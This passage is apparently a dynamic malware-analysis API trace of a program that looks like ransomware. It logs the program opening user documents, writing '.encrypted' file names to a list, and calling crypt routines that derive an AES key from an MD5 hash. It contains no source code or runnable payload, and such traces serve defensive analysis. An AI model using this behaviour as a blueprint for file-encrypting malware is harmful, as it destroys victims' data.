hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.739] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.739] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.739] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0023.739] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=2267) returned 1 [0023.739] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.739] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0023.739] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0023.739] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x8db, lpOverlapped=0x0) returned 1 [0023.740] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0023.740] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x8db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.740] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=2267) returned 1 [0023.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\Zpipq.encrypted.avi\r\n", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0023.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\Zpipq.encrypted.avi\r\n", cchWideChar=51, lpMultiByteStr=0xe8f404ba10, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\Zpipq.encrypted.avi\r\n", lpUsedDefaultChar=0x0) returned 51 [0023.740] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f40514f0*, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40514f0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x32, lpOverlapped=0x0) returned 1 [0023.740] CloseHandle (hObject=0x1fc) returned 1 [0023.741] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.741] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.742] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.742] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.742] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.742] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0023.742] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.742] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0023.743] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178520, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0023.743] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0023.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178420, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0023.743] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0023.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\-K2qi4D7O1hA.pptx", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0023.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\-K2qi4D7O1hA.pptx", cchWideChar=49, lpMultiByteStr=0xe8f404c1d0, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\-K2qi4D7O1hA.pptx", lpUsedDefaultChar=0x0) returned 49 [0023.744] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\-K2qi4D7O1hA.pptx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\-k2qi4d7o1ha.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=49, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 49 [0023.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=49, lpWideCharStr=0xe8f40625d0, cchWideChar=49 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\-K2qi4D7O1hA.pptx") returned 49 [0023.744] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.745] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.745] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.745] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0023.745] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178a40, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0023.745] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0023.746] CloseHandle (hObject=0x1fc) returned 1 [0023.746] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.746] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.746] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.746] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0023.746] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.746] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0023.746] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0023.746] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.746] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.746] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.746] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.746] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.746] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.746] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0023.746] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.746] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.747] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.747] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.747] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.747] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.747] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.747] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.747] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.747] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.747] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.747] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.747] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.747] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.747] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.747] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0023.747] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.747] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.747] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.747] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.747] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.747] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0023.747] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.747] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633d0) returned 1 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.748] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.748] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.748] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.748] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.748] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.748] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.748] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.749] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.749] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.749] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.749] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.749] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.749] CryptCreateHash (in: hProv=0xe8f40633d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0023.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.749] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0023.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.749] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.749] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.749] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.749] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b900, dwDataLen=0x20, dwFlags=0x1) returned 1 [0023.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.749] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.749] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.749] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.749] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.749] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.749] CryptDeriveKey (in: hProv=0xe8f40633d0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062b10) returned 1 [0023.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.750] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.750] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.750] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.750] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.750] PeekMessageW (in: 